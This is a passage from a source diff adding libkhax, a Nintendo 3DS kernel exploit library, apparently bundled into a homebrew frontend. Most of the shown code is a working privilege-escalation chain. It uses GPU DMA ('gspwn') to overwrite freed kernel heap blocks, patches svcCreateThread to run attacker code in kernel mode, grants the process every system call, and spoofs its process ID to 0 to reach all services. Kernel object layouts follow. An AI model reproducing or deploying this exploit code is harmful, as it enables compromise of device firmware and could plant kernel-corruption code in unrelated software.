+               return MakeError(28, 5, KHAX_MODULE, 1016);\r
+       }\r
+\r
+       // Read the memory page we're going to gspwn.\r
+       if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,\r
+               sizeof(*m_extraLinear)))\r
+       {\r
+               KHAX_printf("Step5:gspwn read failed:%08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       // Adjust the "next" pointer to point to within the svcCreateThread system call so as to\r
+       // corrupt certain instructions.  The result will be that calling svcCreateThread will result\r
+       // in executing our code.\r
+       // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.\r
+       // That is, the overwrite adds this offset back in.\r
+       m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(\r
+               m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));\r
+\r
+       // Do the GSPwn, the actual exploit we've been waiting for.\r
+       if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,\r
+               sizeof(*m_extraLinear)))\r
+       {\r
+               KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       // The heap is now corrupted in two ways (Step6 explains why two ways).\r
+       m_corrupted += 2;\r
+\r
+       KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");\r
+\r
+       // Corrupt svcCreateThread by freeing the second page.  The kernel will coalesce the third\r
+       // page into the second page, and in the process zap an instruction pair in svcCreateThread.\r
+       u32 dummy;\r
+       if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),\r
+               0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
+       {\r
+               KHAX_printf("Step5:free to pwn failed:%08lx\n", result);\r
+               return result;\r
+       }\r
+       m_overwriteAllocated &= ~(1u << 1);\r
+\r
+       // We have an additional layer of instability because of the kernel code overwrite.\r
+       ++m_corrupted;\r
+\r
+       KHAX_printf("Step5:svcCreateThread now hacked\n");\r
+\r
+       ++m_nextStep;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Execute svcCreateThread to execute code at SVC privilege.\r
+Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()\r
+{\r
+       if (m_nextStep != 6)\r
+       {\r
+               KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);\r
+               return MakeError(28, 5, KHAX_MODULE, 1016);\r
+       }\r
+\r
+       // Call svcCreateThread such that r0 is the desired exploit function.  Note that the\r
+       // parameters to the usual system call thunk are rearranged relative to the actual system call\r
+       // - the thread priority parameter is actually the one that goes into r0.  In addition, we\r
+       // want to pass other parameters that make for an illegal thread creation request, because the\r
+       // rest of the thread creation SVC occurs before the hacked code gets executed.  We want the\r
+       // thread creation request to fail, then the hack to grant us control.  Processor ID\r
+       // 0x7FFFFFFF seems to do the trick here.\r
+       Handle dummyHandle;\r
+       Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(\r
+               Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());\r
+\r
+       KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);\r
+\r
+       if (result != STEP6_SUCCESS_RESULT)\r
+       {\r
+               // If the result was 0, something actually went wrong.\r
+               if (result == 0)\r
+               {\r
+                       result = MakeError(27, 11, KHAX_MODULE, 1023);\r
+               }\r
+\r
+               return result;\r
+       }\r
+\r
+#ifdef KHAX_DEBUG\r
+       char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];\r
+       char *sp = oldACLString;\r
+       for (unsigned char b : m_oldACL)\r
+       {\r
+               *sp++ = "0123456789abcdef"[b >> 4];\r
+               *sp++ = "0123456789abcdef"[b & 15];\r
+       }\r
+       *sp = '\0';\r
+\r
+       KHAX_printf("oldACL:%s\n", oldACLString);\r
+#endif\r
+\r
+       ++m_nextStep;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// SVC-mode entry point thunk (true entry point).\r
+#ifndef _MSC_VER\r
+__attribute__((__naked__))\r
+#endif\r
+Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()\r
+{\r
+       __asm__ volatile("add sp, sp, #8");\r
+\r
+       register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();\r
+\r
+       __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// SVC-mode entry point.\r
+#ifndef _MSC_VER\r
+__attribute__((__noinline__))\r
+#endif\r
+Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()\r
+{\r
+       if (Result result = Step6c_UndoCreateThreadPatch())\r
+       {\r
+               return result;\r
+       }\r
+       if (Result result = Step6d_FixHeapCorruption())\r
+       {\r
+               return result;\r
+       }\r
+       if (Result result = Step6e_GrantSVCAccess())\r
+       {\r
+               return result;\r
+       }\r
+       if (Result result = Step6f_FlushCaches())\r
+       {\r
+               return result;\r
+       }\r
+\r
+       return STEP6_SUCCESS_RESULT;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Undo the code patch that Step5_CorruptCreateThread did.\r
+Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()\r
+{\r
+       // Unpatch svcCreateThread.  NOTE: Misaligned pointer.\r
+       *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->\r
+               m_threadPatchOriginalCode;\r
+       --m_corrupted;\r
+\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Fix the heap corruption caused as a side effect of step 5.\r
+Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()\r
+{\r
+       // The kernel's heap coalesce code seems to be like the following for the case we triggered,\r
+       // where we're freeing a block before ("left") an adjacent block ("right"):\r
+       //\r
+       // (1)  left->m_count += right->m_count;\r
+       // (2)  left->m_next = right->m_next;\r
+       // (3)  right->m_next->m_prev = left;\r
+       //\r
+       // (1) should have happened normally.  (3) is what we exploit: we set right->m_next to point\r
+       // to where we want to patch, such that the write to m_prev is the desired code overwrite.\r
+       // (2) is copying the value we put into right->m_next to accomplish (3).\r
+       //\r
+       // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to\r
+       // point to the correct next free block, and do the write to right->m_next->m_prev that didn't\r
+       // happen because it instead was writing to kernel code.\r
+\r
+       // "left" is the second overwrite page.\r
+       auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
+               &m_overwriteMemory->m_pages[1].m_freeBlock));\r
+       // "right->m_next" is the fifth overwrite page.\r
+       auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
+               &m_overwriteMemory->m_pages[4].m_freeBlock));\r
+\r
+       // Do the two fixups.\r
+       left->m_next = rightNext;\r
+       --m_corrupted;\r
+\r
+       rightNext->m_prev = left;\r
+       --m_corrupted;\r
+\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Grant our process access to all system calls, including svcBackdoor.\r
+Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()\r
+{\r
+       // Everything, except nonexistent services 00, 7E or 7F.\r
+       static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";\r
+\r
+       // Get the KThread pointer.  Its type doesn't vary, so far.\r
+       KThread *kthread = *m_versionData->m_currentKThreadPtr;\r
+\r
+       // Debug dumping.\r
+#ifdef KHAX_DEBUG_DUMP_DATA\r
+       // Get the KProcess pointer, whose type varies by kernel version.\r
+       void *kprocess = *m_versionData->m_currentKProcessPtr;\r
+\r
+       void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));\r
+       std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));\r
+       std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));\r
+       std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));\r
+#endif\r
+\r
+       // Get a pointer to the SVC ACL within the SVC area for the thread.\r
+       SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);\r
+       KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;\r
+\r
+       // Save the old one for diagnostic purposes.\r
+       std::memcpy(m_oldACL, threadACL, sizeof(threadACL));\r
+\r
+       // Set the ACL for the current thread.\r
+       std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));\r
+\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Flush instruction and data caches.\r
+Result KHAX::MemChunkHax::Step6f_FlushCaches()\r
+{\r
+       // Invalidates the entire instruction cache.\r
+       __asm__ volatile(\r
+               "mov r0, #0\n\t"\r
+               "mcr p15, 0, r0, c7, c5, 0\n\t");\r
+\r
+       // Invalidates the entire data cache.\r
+       __asm__ volatile(\r
+               "mov r0, #0\n\t"\r
+               "mcr p15, 0, r0, c7, c10, 0\n\t");\r
+\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Grant access to all services.\r
+Result KHAX::MemChunkHax::Step7_GrantServiceAccess()\r
+{\r
+       // Backup the original PID.\r
+       Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);\r
+       if (result != 0)\r
+       {\r
+               KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       KHAX_printf("Step7:current pid=%lu\n", m_originalPID);\r
+\r
+       // Patch the PID to 0, granting access to all services.\r
+       svcBackdoor(Step7a_PatchPID);\r
+\r
+       // Check whether PID patching succeeded.\r
+       u32 newPID;\r
+       result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
+       if (result != 0)\r
+       {\r
+               // Attempt patching back anyway, for stability reasons.\r
+               svcBackdoor(Step7b_UnpatchPID);\r
+               KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       if (newPID != 0)\r
+       {\r
+               KHAX_printf("Step7:nonzero:%lu\n", newPID);\r
+               return MakeError(27, 11, KHAX_MODULE, 1023);\r
+       }\r
+\r
+       // Reinit ctrulib's srv connection to gain access to all services.\r
+       srvExit();\r
+       srvInit();\r
+\r
+       // Restore the original PID now that srv has been tricked into thinking that we're PID 0.\r
+       svcBackdoor(Step7b_UnpatchPID);\r
+\r
+       // Check whether PID restoring succeeded.\r
+       result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r
+       if (result != 0)\r
+       {\r
+               KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       if (newPID != m_originalPID)\r
+       {\r
+               KHAX_printf("Step7:not same:%lu\n", newPID);\r
+               return MakeError(27, 11, KHAX_MODULE, 1023);\r
+       }\r
+\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Patch the PID to 0.\r
+Result KHAX::MemChunkHax::Step7a_PatchPID()\r
+{\r
+       // Disable interrupts ASAP.\r
+       // FIXME: Need a better solution for this.\r
+       __asm__ volatile("cpsid aif");\r
+\r
+       // Patch the PID to 0.  The version data has a function pointer in m_makeKProcessPointers\r
+       // to translate the raw KProcess pointer into pointers into key fields, and we access the\r
+       // m_processID field from it.\r
+       *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
+               .m_processID) = 0;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Restore the original PID.\r
+Result KHAX::MemChunkHax::Step7b_UnpatchPID()\r
+{\r
+       // Disable interrupts ASAP.\r
+       // FIXME: Need a better solution for this.\r
+       __asm__ volatile("cpsid aif");\r
+\r
+       // Patch the PID back to the original value.\r
+       *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r
+               .m_processID) = s_instance->m_originalPID;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Helper for dumping memory to SD card.\r
+template <std::size_t S>\r
+bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const\r
+{\r
+       char formatted[32];\r
+       snprintf(formatted, KHAX_lengthof(formatted), filename,\r
+               static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?\r
+               "New" : "Old");\r
+\r
+       bool result = true;\r
+\r
+       FILE *file = std::fopen(formatted, "wb");\r
+       if (file)\r
+       {\r
+               result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);\r
+               std::fclose(file);\r
+       }\r
+       else\r
+       {\r
+               result = false;\r
+       }\r
+\r
+       return result;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Free memory and such.\r
+KHAX::MemChunkHax::~MemChunkHax()\r
+{\r
+       // Dump memory to SD card if that is enabled.\r
+#ifdef KHAX_DEBUG_DUMP_DATA\r
+       if (m_nextStep > 6)\r
+       {\r
+               DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");\r
+               DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");\r
+               DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");\r
+       }\r
+#endif\r
+\r
+       // If we're corrupted, we're dead.\r
+       if (m_corrupted > 0)\r
+       {\r
+               KHAX_printf("~:error while corrupt;freezing\n");\r
+               for (;;)\r
+               {\r
+                       svcSleepThread(s64(60) * 1000000000);\r
+               }\r
+       }\r
+\r
+       // This function has to be careful not to crash trying to shut down after an aborted attempt.\r
+       if (m_overwriteMemory)\r
+       {\r
+               u32 dummy;\r
+\r
+               // Each page has a flag indicating that it is still allocated.\r
+               for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)\r
+               {\r
+                       // Don't free a page unless it remains allocated.\r
+                       if (m_overwriteAllocated & (1u << x))\r
+                       {\r
+                               Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,\r
+                                       sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));\r
+                               KHAX_printf("free %u: %08lx\n", x, res);\r
+                       }\r
+               }\r
+       }\r
+\r
+       // Free the extra linear memory.\r
+       if (m_extraLinear)\r
+       {\r
+               linearFree(m_extraLinear);\r
+       }\r
+\r
+       // s_instance better be us\r
+       if (s_instance != this)\r
+       {\r
+               KHAX_printf("~:s_instance is wrong\n");\r
+       }\r
+       else\r
+       {\r
+               s_instance = nullptr;\r
+       }\r
+}\r
+\r
+\r
+//------------------------------------------------------------------------------------------------\r
+//\r
+// Miscellaneous\r
+//\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Make an error code\r
+inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)\r
+{\r
+       return (level << 27) + (summary << 21) + (module << 10) + error;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Check whether this system is a New 3DS.\r
+Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)\r
+{\r
+       // If the kernel version isn't already known by the caller, find out.\r
+       u32 kernelVersion = kernelVersionAlreadyKnown;\r
+       if (kernelVersion == 0)\r
+       {\r
+               kernelVersion = osGetKernelVersion();\r
+       }\r
+\r
+       // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.\r
+       if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))\r
+       {\r
+               // Check whether the system is a New 3DS.  If this fails, abort, because being wrong would\r
+               // crash the system.\r
+               u8 isNew3DS = 0;\r
+               if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))\r
+               {\r
+                       *answer = false;\r
+                       return error;\r
+               }\r
+\r
+               // Use the result of APT_CheckNew3DS.\r
+               *answer = isNew3DS != 0;\r
+               return 0;\r
+       }\r
+\r
+       // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.\r
+       *answer = false;\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// gspwn, meant for reading from or writing to freed buffers.\r
+Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)\r
+{\r
+       // Attempt a flush of the source, but ignore the result, since we may have just been asked to\r
+       // read unmapped memory or something similar.\r
+       GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);\r
+\r
+       // Invalidate the destination's cache, since we're about to overwrite it.  Likewise, ignore\r
+       // errors, since it may be the destination that is an unmapped address.\r
+       GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);\r
+\r
+       // Copy that floppy.\r
+       if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,\r
+               static_cast<u32 *>(dest), 0, size, 8))\r
+       {\r
+               KHAX_printf("gspwn:copy fail:%08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       // Wait for the operation to finish.\r
+       if (wait)\r
+       {\r
+               gspWaitForPPF();\r
+       }\r
+\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Given a pointer to a structure that is a member of another structure,\r
+// return a pointer to the outer structure.  Inspired by Windows macro.\r
+template <typename Outer, typename Inner>\r
+Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)\r
+{\r
+       unsigned char *p = reinterpret_cast<unsigned char *>(member);\r
+       p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));\r
+       return reinterpret_cast<Outer *>(p);\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Main initialization function interface.\r
+extern "C" Result khaxInit()\r
+{\r
+       using namespace KHAX;\r
+\r
+#ifdef KHAX_DEBUG\r
+       bool isNew3DS;\r
+       IsNew3DS(&isNew3DS, 0);\r
+       KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),\r
+               isNew3DS);\r
+#endif\r
+\r
+       // Look up the current system's version in our table.\r
+       const VersionData *versionData = VersionData::GetForCurrentSystem();\r
+       if (!versionData)\r
+       {\r
+               KHAX_printf("khaxInit: Unknown kernel version\n");\r
+               return MakeError(27, 6, KHAX_MODULE, 39);\r
+       }\r
+\r
+       KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,\r
+               versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);\r
+\r
+       // Create the hack object.\r
+       MemChunkHax hax{ versionData };\r
+\r
+       // Run through the steps.\r
+       if (Result result = hax.Step1_Initialize())\r
+       {\r
+               KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);\r
+               return result;\r
+       }\r
+       if (Result result = hax.Step2_AllocateMemory())\r
+       {\r
+               KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);\r
+               return result;\r
+       }\r
+       if (Result result = hax.Step3_SurroundFree())\r
+       {\r
+               KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);\r
+               return result;\r
+       }\r
+       if (Result result = hax.Step4_VerifyExpectedLayout())\r
+       {\r
+               KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);\r
+               return result;\r
+       }\r
+       if (Result result = hax.Step5_CorruptCreateThread())\r
+       {\r
+               KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);\r
+               return result;\r
+       }\r
+       if (Result result = hax.Step6_ExecuteSVCCode())\r
+       {\r
+               KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);\r
+               return result;\r
+       }\r
+       if (Result result = hax.Step7_GrantServiceAccess())\r
+       {\r
+               KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);\r
+               return result;\r
+       }\r
+\r
+       KHAX_printf("khaxInit: done\n");\r
+       return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Shut down libkhax.  Doesn't actually do anything at the moment, since khaxInit does everything\r
+// and frees all memory on the way out.\r
+extern "C" Result khaxExit()\r
+{\r
+       return 0;\r
+}\r
diff --git a/frontend/3ds/libkhax/khaxinternal.h b/frontend/3ds/libkhax/khaxinternal.h
new file mode 100644 (file)
index 0000000..5d83eab
--- /dev/null
@@ -0,0 +1,339 @@
+#pragma once\r
+\r
+#define KHAX_DEBUG\r
+//#define KHAX_DEBUG_DUMP_DATA\r
+\r
+#ifdef KHAX_DEBUG\r
+       #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()\r
+#else\r
+       #define KHAX_printf static_cast<void>\r
+#endif\r
+\r
+// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never\r
+// actually compile this program.\r
+#ifdef _MSC_VER\r
+       #undef ALIGN\r
+       #define ALIGN(x) __declspec(align(x))\r
+       #if _MSC_VER < 1900\r
+               #define alignof __alignof\r
+       #endif\r
+       #define KHAX_ATTRIBUTE(...)\r
+#else\r
+       #define KHAX_ATTRIBUTE(...) __VA_ARGS__\r
+#endif\r
+\r
+#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))\r
+\r
+//------------------------------------------------------------------------------------------------\r
+namespace KHAX\r
+{\r
+       //------------------------------------------------------------------------------------------------\r
+       // This code uses offsetof illegally (i.e. on polymorphic classes).\r
+       #pragma GCC diagnostic push\r
+       #pragma GCC diagnostic ignored "-Winvalid-offsetof"\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // General linked list node kernel object.\r
+       struct KLinkedListNode\r
+       {\r
+               KLinkedListNode *next;\r
+               KLinkedListNode *prev;\r
+               void *data;\r
+       };\r
+       static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Base class of reference-counted kernel objects.\r
+       class KAutoObject\r
+       {\r
+       public:\r
+               u32 m_refCount;                                 // +004\r
+\r
+       protected:\r
+               virtual ~KAutoObject() {}\r
+       };\r
+       static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");\r
+       static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Base class of synchronizable objects.\r
+       class KSynchronizationObject : public KAutoObject\r
+       {\r
+       public:\r
+               u32 m_threadSyncCount;                          // +008\r
+               KLinkedListNode *m_threadSyncFirst;             // +00C\r
+               KLinkedListNode *m_threadSyncLast;              // +010\r
+       };\r
+       static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");\r
+       static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,\r
+               "KSynchronizationObject isn't the expected layout.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       struct KDebugThread;\r
+       struct KThreadLocalPage;\r
+       class KCodeSet;\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Unofficial name\r
+       typedef u8 KSVCACL[0x80 / 8];\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // ARM VFP register\r
+       union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister\r
+       {\r
+               float m_single[2];\r
+               double m_double;\r
+       };\r
+       static_assert(alignof(VFPRegister) == 0x004,\r
+               "VFPRegister isn't the expected alignment.");\r
+       static_assert(sizeof(VFPRegister) == 0x008,\r
+               "VFPRegister isn't the expected size.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // SVC-mode register save area.\r
+       // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000\r
+       struct SVCRegisterState\r
+       {\r
+               u32 m_r4;                                       // +000\r
+               u32 m_r5;                                       // +004\r
+               u32 m_r6;                                       // +008\r
+               u32 m_r7;                                       // +00C\r
+               u32 m_r8;                                       // +010\r
+               u32 m_r9;                                       // +014\r
+               u32 m_sl;                                       // +018\r
+               u32 m_fp;                                       // +01C\r
+               u32 m_sp;                                       // +020\r
+               u32 m_lr;                                       // +024\r
+       };\r
+       static_assert(sizeof(SVCRegisterState) == 0x028,\r
+               "SVCRegisterState isn't the expected size.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // SVC-mode thread state structure.  This is the last part of the per-\r
+       // thread page allocated in 0xFF4XX000.\r
+       // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000\r
+       struct SVCThreadArea\r
+       {\r
+               KSVCACL m_svcAccessControl;                     // +000\r
+               u32 m_unknown010;                               // +010\r
+               u32 m_unknown014;                               // +014\r
+               SVCRegisterState m_svcRegisterState;            // +018\r
+               VFPRegister m_vfpRegisters[16];                 // +040\r
+               u32 m_unknown0C4;                               // +0C0\r
+               u32 m_fpexc;                                    // +0C4\r
+       };\r
+       static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,\r
+               "ThreadSVCArea isn't the expected layout.");\r
+       static_assert(sizeof(SVCThreadArea) == 0x0C8,\r
+               "ThreadSVCArea isn't the expected size.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Kernel's internal structure of a thread object.\r
+       class KThread : public KSynchronizationObject\r
+       {\r
+       public:\r
+               u32 m_unknown014;                               // +014\r
+               u32 m_unknown018;                               // +018\r
+               u32 m_unknown01C;                               // +01C\r
+               u32 m_unknown020;                               // +020\r
+               u32 m_unknown024;                               // +024\r
+               u32 m_unknown028;                               // +028\r
+               u32 m_unknown02C;                               // +02C\r
+               u32 m_unknown030;                               // +030\r
+               u32 m_unknown034;                               // +034\r
+               KDebugThread *m_debugThread;                    // +038\r
+               s32 m_threadPriority;                           // +03C\r
+               void *m_waitingOnObject;                        // +040\r
+               u32 m_unknown044;                               // +044\r
+               KThread **m_schedulerUnknown048;                // +048\r
+               void *m_arbitrationAddress;                     // +04C\r
+               u32 m_unknown050;                               // +050\r
+               u32 m_unknown054;                               // +054\r
+               u32 m_unknown058;                               // +058\r
+               KLinkedListNode *m_waitingOnList;               // +05C\r
+               u32 m_unknownListCount;                         // +060\r
+               KLinkedListNode *m_unknownListHead;             // +064\r
+               KLinkedListNode *m_unknownListTail;             // +068\r
+               s32 m_threadPriority2;                          // +06C\r
+               s32 m_creatingProcessor;                        // +070\r
+               u32 m_unknown074;                               // +074\r
+               u32 m_unknown078;                               // +078\r
+               u16 m_unknown07C;                               // +07C\r
+               u8 m_threadType;                                // +07E\r
+               u8 m_padding07F;                                // +07F\r
+               void *m_process;                                // +080\r
+               u32 m_threadID;                                 // +084\r
+               SVCRegisterState *m_svcRegisterState;           // +088\r
+               void *m_svcPageEnd;                             // +08C\r
+               s32 m_idealProcessor;                           // +090\r
+               void *m_tlsUserMode;                            // +094\r
+               void *m_tlsKernelMode;                          // +098\r
+               u32 m_unknown09C;                               // +09C\r
+               KThread *m_prev;                                // +0A0\r
+               KThread *m_next;                                // +0A4\r
+               KThread **m_temporaryLinkedList;                // +0A8\r
+               u32 m_unknown0AC;                               // +0B0\r
+       };\r
+       static_assert(sizeof(KThread) == 0x0B0,\r
+               "KThread isn't the expected size.");\r
+       static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,\r
+               "KThread isn't the expected layout.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Kernel's internal structure of a process object.\r
+       // Version 1.0.0(?) - 7.2.0\r
+       class KProcess_1_0_0_Old : public KSynchronizationObject\r
+       {\r
+       public:\r
+               u32 m_unknown014;                               // +014\r
+               u32 m_unknown018;                               // +018\r
+               KThread *volatile m_interactingThread;          // +01C\r
+               u16 m_unknown020;                               // +020\r
+               u16 m_unknown022;                               // +022\r
+               u32 m_unknown024;                               // +024\r
+               u32 m_unknown028;                               // +028\r
+               u32 m_memoryBlockCount;                         // +02C\r
+               KLinkedListNode *m_memoryBlockFirst;            // +030\r
+               KLinkedListNode *m_memoryBlockLast;             // +034\r
+               u32 m_unknown038;                               // +038\r
+               u32 m_unknown03C;                               // +03C\r
+               void *m_translationTableBase;                   // +040\r
+               u8 m_contextID;                                 // +044\r
+               u32 m_unknown048;                               // +048\r
+               u32 m_unknown04C;                               // +04C\r
+               u32 m_mmuTableSize;                             // +050\r
+               void *m_mmuTableAddress;                        // +054\r
+               u32 m_threadContextPagesSize;                   // +058\r
+               u32 m_threadLocalPageCount;                     // +05C\r
+               KLinkedListNode *m_threadLocalPageFirst;        // +060\r
+               KLinkedListNode *m_threadLocalPageLast;         // +064\r
+               u32 m_unknown068;                               // +068\r
+               s32 m_idealProcessor;                           // +06C\r
+               u32 m_unknown070;                               // +070\r
+               void *m_resourceLimits;                         // +074\r
+               u8 m_unknown078;                                // +078\r
+               u8 m_affinityMask;                              // +079\r
+               u32 m_threadCount;                              // +07C\r
+               KSVCACL m_svcAccessControl;                     // +080\r
+               u32 m_interruptFlags[0x80 / 32];                // +090\r
+               u32 m_kernelFlags;                              // +0A0\r
+               u16 m_handleTableSize;                          // +0A4\r
+               u16 m_kernelReleaseVersion;                     // +0A6\r
+               KCodeSet *m_codeSet;                            // +0A8\r
+               u32 m_processID;                                // +0AC\r
+               u32 m_kernelFlags2;                             // +0B0\r
+               u32 m_unknown0B4;                               // +0B4\r
+               KThread *m_mainThread;                          // +0B8\r
+               //...more...\r
+       };\r
+       static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,\r
+               "KProcess_1_0_0_Old isn't the expected layout.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Kernel's internal structure of a process object.\r
